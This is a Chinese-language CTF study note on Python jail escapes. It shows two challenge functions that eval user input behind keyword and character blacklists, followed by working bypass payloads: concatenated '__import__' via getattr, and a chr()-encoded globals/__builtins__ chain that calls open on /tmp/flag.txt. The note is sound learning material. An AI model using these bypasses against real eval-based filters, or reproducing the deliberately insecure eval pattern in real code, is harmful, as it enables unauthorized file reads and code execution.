misc学习记录

Pyjail

Pyjail1

1
2
3
4
5
6
7
8
9
10
11
def chall():
user_input = input("Give me your code: ")

# 过滤关键字
forbidden_keywords = ['import', 'eval', 'exec', 'open', 'file']
for keyword in forbidden_keywords:
if keyword in user_input:
print(f"Forbidden keyword detected: {keyword}")
return

result = eval(user_input)

禁用了[‘import’, ‘eval’, ‘exec’, ‘open’, ‘file’]

Payload1:

1
"print(getattr(__builtins__, '__imp'+'ort__')('os').listdir('/tmp'))"

执行系统命令来列出/tmp目录下的文件。

'__imp' + 'ort__' 拼接后形成 '__import__',但代码检查时不会检测到完整的'import'字符串

getattr(__builtins__, '__imp'+'ort__') 的作用是:

  • __builtins__ 是Python的一个内置模块,包含了所有内置函数和变量
  • getattr(object, name) 函数返回对象的命名属性的值
  • 这里我们获取 __builtins__ 模块中的 __import__ 函数

('os') 部分:

  • 调用获取到的 __import__ 函数,参数为 'os'
  • 这相当于执行了 import os,但绕过了对import关键字的直接检查

.listdir('/tmp') 部分:

  • 调用导入的os模块的listdir方法
  • listdir('/tmp') 会列出/tmp目录下的所有文件和文件夹

Payload2:

1
print(getattr(__builtins__, 'o'+'pen')('/tmp/flag.txt').read())

.read() 部分:

  • 调用文件对象的 read 方法
  • 这会读取文件的全部内容,并返回一个字符串

Pyjail2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def chall():
user_input = input("Give me your code: ")

# 过滤关键字
forbidden_keywords = ['import', 'eval', 'exec', 'open', 'file']
for keyword in forbidden_keywords:
if keyword in user_input:
print(f"Forbidden keyword detected: {keyword}")
return

# 过滤特殊字符
forbidden_chars = ['.', '_', '[', ']', "'", '"']
for char in forbidden_chars:
if char in user_input:
print(f"Forbidden character detected: {char}")
return

result = eval(user_input)

payload

1
print(getattr(getattr(getattr(globals(),chr(103)+chr(101)+chr(116))(chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95)),chr(111)+chr(112)+chr(101)+chr(110))(chr(47)+chr(116)+chr(109)+chr(112)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)),chr(114)+chr(101)+chr(97)+chr(100))())
  • 禁止关键字import, eval, exec, open, file
  • 禁止字符., _, [, ], ', "

解题思路

由于直接使用open函数和点号访问属性被禁止,我们需要绕过过滤:

  1. 使用chr()函数通过ASCII码构造字符串,避免使用禁止字符。
  2. 使用getattr()函数通过字符串名称访问属性和方法,避免使用点号。
  3. 通过globals()__builtins__间接获取open函数。
  4. 最终调用open('/tmp/flag.txt').read()读取文件内容,并用print确保输出。